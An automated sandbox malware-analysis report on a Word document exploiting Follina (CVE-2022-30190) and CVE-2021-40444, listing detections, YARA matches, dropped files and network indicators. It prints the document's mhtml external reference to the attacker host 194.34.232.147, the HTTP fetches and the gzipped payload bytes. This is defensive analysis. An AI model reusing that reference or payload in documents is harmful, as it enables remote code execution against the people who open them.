Windows Analysis Report
5YMh6S8QVr

Overview

General Information

Sample Name: 5YMh6S8QVr (renamed file extension from none to docx)
Analysis ID: 646982
MD5: 5a0d45f97ee4b248360b6b2e5eb4706a
SHA1: e2a00e3489ede1ac935c78b99f92fdce0e74ed69
SHA256: 57b27abbe3d3c0c20cdc1b408ff6fa562ba5f04fa555cb3adb9dcb03e273b664
Tags: 194-34-232-147doc
Infos:

Detection

CVE-2021-40444, Follina CVE-2022-30190
Score: 84
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Detected CVE-2021-40444 exploit
Snort IDS alert for network traffic
Contains an external reference to another file
Yara signature match
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication
Internet Provider seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 5YMh6S8QVr.docx Avira: detected
Multi AV Scanner detection for submitted file
Source: 5YMh6S8QVr.docx Virustotal: Detection: 50% Perma Link
Source: 5YMh6S8QVr.docx Metadefender: Detection: 31% Perma Link

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\side[1].htm, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\side[1].htm, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\47FC82E2.htm, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\34450540.htm, type: DROPPED
Detected CVE-2021-40444 exploit
Source: document.xml.rels Extracted files from sample: mhtml:http://194.34.232.147/side.html!x-usc:http://194.34.232.147/side.html
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 194.34.232.147:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 194.34.232.147:80

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2036726 ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-30190) 194.34.232.147:80 -> 192.168.2.22:49176
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /side.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 194.34.232.147Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /side.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 194.34.232.147If-Modified-Since: Mon, 30 May 2022 20:51:09 GMTIf-None-Match: "1a76-5e040d0ca4940-gzip"Connection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DEDIPATH-LLCUS DEDIPATH-LLCUS
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 16 Jun 2022 11:30:45 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 30 May 2022 20:51:09 GMTETag: "1a76-5e040d0ca4940-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 289Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed d9 4d 4b c3 30 18 07 f0 fb 60 df 21 16 61 db c1 06 f4 a6 ad e2 db 60 20 32 9c 30 0f 82 a4 c9 b3 36 98 36 25 89 d4 7e 7b 93 81 03 6f 9e c4 c3 3f 04 9e bc 3e bf e4 fc 14 47 ca ca 30 f6 c4 9a d0 9a cb e9 a4 48 91 19 d1 d5 65 46 5d 96 56 2a ab c6 14 bd 74 ba 0f 71 c4 f9 f5 1f 34 38 70 e0 c0 81 03 07 0e 1c 38 70 e0 c0 81 03 07 0e 1c 38 70 e0 c0 81 03 07 0e 9c ff eb b0 d8 06 dd 29 3b e4 c6 4a 11 b4 ed f2 c6 d1 8e 95 2c 6b fd 49 eb 55 38 e7 5a b1 f5 ed f6 4e 8b ba b3 3e 68 c9 b8 7f d7 3d db 59 27 89 f1 5e 38 d1 b2 d7 6c f5 fc f6 44 95 b3 83 a7 a5 75 4b 6d a8 94 c2 5c 49 16 37 36 64 48 86 b5 b3 75 3c 5b 3e da f0 a0 7d 20 95 b6 6e 7e dc 68 8e e7 ab fb 97 f9 2c de 94 39 7d d2 6c b1 d0 3c cf 7f db b7 fb af 78 be 19 63 fa f6 ec 94 b7 bd d7 b5 0f 1f 55 4a 16 1f 99 5d 4c 27 05 3f 94 8b d2 e4 bb 86 c4 f7 65 a6 2f c8 88 30 4c 76 1a 00 00 Data Ascii: MK0`!a` 2066%~{o?>G0HeF]V*tq48p8p8p);J,kIU8ZN>h=Y'^8lDuKm\I76dHu<[>} n~h,9}l<xcUJ]L'?e/0Lv
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 16 Jun 2022 11:30:49 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 30 May 2022 20:51:09 GMTETag: "1a76-5e040d0ca4940-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 289Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed d9 4d 4b c3 30 18 07 f0 fb 60 df 21 16 61 db c1 06 f4 a6 ad e2 db 60 20 32 9c 30 0f 82 a4 c9 b3 36 98 36 25 89 d4 7e 7b 93 81 03 6f 9e c4 c3 3f 04 9e bc 3e bf e4 fc 14 47 ca ca 30 f6 c4 9a d0 9a cb e9 a4 48 91 19 d1 d5 65 46 5d 96 56 2a ab c6 14 bd 74 ba 0f 71 c4 f9 f5 1f 34 38 70 e0 c0 81 03 07 0e 1c 38 70 e0 c0 81 03 07 0e 1c 38 70 e0 c0 81 03 07 0e 9c ff eb b0 d8 06 dd 29 3b e4 c6 4a 11 b4 ed f2 c6 d1 8e 95 2c 6b fd 49 eb 55 38 e7 5a b1 f5 ed f6 4e 8b ba b3 3e 68 c9 b8 7f d7 3d db 59 27 89 f1 5e 38 d1 b2 d7 6c f5 fc f6 44 95 b3 83 a7 a5 75 4b 6d a8 94 c2 5c 49 16 37 36 64 48 86 b5 b3 75 3c 5b 3e da f0 a0 7d 20 95 b6 6e 7e dc 68 8e e7 ab fb 97 f9 2c de 94 39 7d d2 6c b1 d0 3c cf 7f db b7 fb af 78 be 19 63 fa f6 ec 94 b7 bd d7 b5 0f 1f 55 4a 16 1f 99 5d 4c 27 05 3f 94 8b d2 e4 bb 86 c4 f7 65 a6 2f c8 88 30 4c 76 1a 00 00 Data Ascii: MK0`!a` 2066%~{o?>G0HeF]V*tq48p8p8p);J,kIU8ZN>h=Y'^8lDuKm\I76dHu<[>} n~h,9}l<xcUJ]L'?e/0Lv
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: unknown TCP traffic detected without corresponding DNS query: 194.34.232.147
Source: ~WRS{77360496-4BBE-44C6-A84F-CB369D560D67}.tmp.0.dr String found in binary or memory: http://194.34.232.147/side.html
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr String found in binary or memory: http://194.34.232.147/side.html%
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr String found in binary or memory: http://194.34.232.147/side.html%x-usc:http://194.34.232.147/side.html
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr String found in binary or memory: http://194.34.232.147/side.htmlyX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F66410A8-679A-411F-AE8D-493633C1B9C5}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /side.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 194.34.232.147Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /side.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 194.34.232.147If-Modified-Since: Mon, 30 May 2022 20:51:09 GMTIf-None-Match: "1a76-5e040d0ca4940-gzip"Connection: Keep-Alive
Yara signature match
Source: document.xml.rels, type: SAMPLE Matched rule: SUSP_Doc_WordXMLRels_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, Wojciech Cieslak, description = Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-06-02, hash = 62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0
Source: document.xml.rels, type: SAMPLE Matched rule: EXPL_CVE_2021_40444_Document_Rels_XML date = 2021-09-10, author = Jeremy Brown / @alteredbytes, description = Detects indicators found in weaponized documents that exploit CVE-2021-40444, reference = https://twitter.com/AlteredBytes/status/1435811407249952772
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\side[1].htm, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\side[1].htm, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\47FC82E2.htm, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\34450540.htm, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: 5YMh6S8QVr.docx Virustotal: Detection: 50%
Source: 5YMh6S8QVr.docx Metadefender: Detection: 31%
Source: 5YMh6S8QVr.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\5YMh6S8QVr.docx
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$Mh6S8QVr.docx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR6882.tmp Jump to behavior
Source: classification engine Classification label: mal84.expl.evad.winDOCX@1/23@0/1
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr OLE document summary: title field not present or empty
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr OLE document summary: author field not present or empty
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr OLE document summary: edited time not present or 0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: 5YMh6S8QVr.docx Initial sample: OLE zip file path = word/media/image2.wmf
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: ~WRF{F962F304-2A52-4E33-A96C-51EE6F4187D8}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior
barindex
Contains an external reference to another file
Source: document.xml.rels Extracted files from sample: mhtml:http://194.34.232.147/side.html!x-usc:http://194.34.232.147/side.html
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 646982 Sample: 5YMh6S8QVr Startdate: 16/06/2022 Architecture: WINDOWS Score: 84 17 Detected CVE-2021-40444 exploit 2->17 19 Snort IDS alert for network traffic 2->19 21 Antivirus / Scanner detection for submitted sample 2->21 23 3 other signatures 2->23 5 WINWORD.EXE 311 63 2->5         started        process3 dnsIp4 15 194.34.232.147, 49173, 49174, 49175 DEDIPATH-LLCUS Germany 5->15 9 C:\Users\user\AppData\Local\...\47FC82E2.htm, HTML 5->9 dropped 11 C:\Users\user\AppData\Local\...\34450540.htm, HTML 5->11 dropped 13 C:\Users\user\AppData\Local\...\side[1].htm, HTML 5->13 dropped file5
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
194.34.232.147
 unknown Germany
35913 DEDIPATH-LLCUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://194.34.232.147/side.html true
  • Avira URL Cloud: safe
 unknown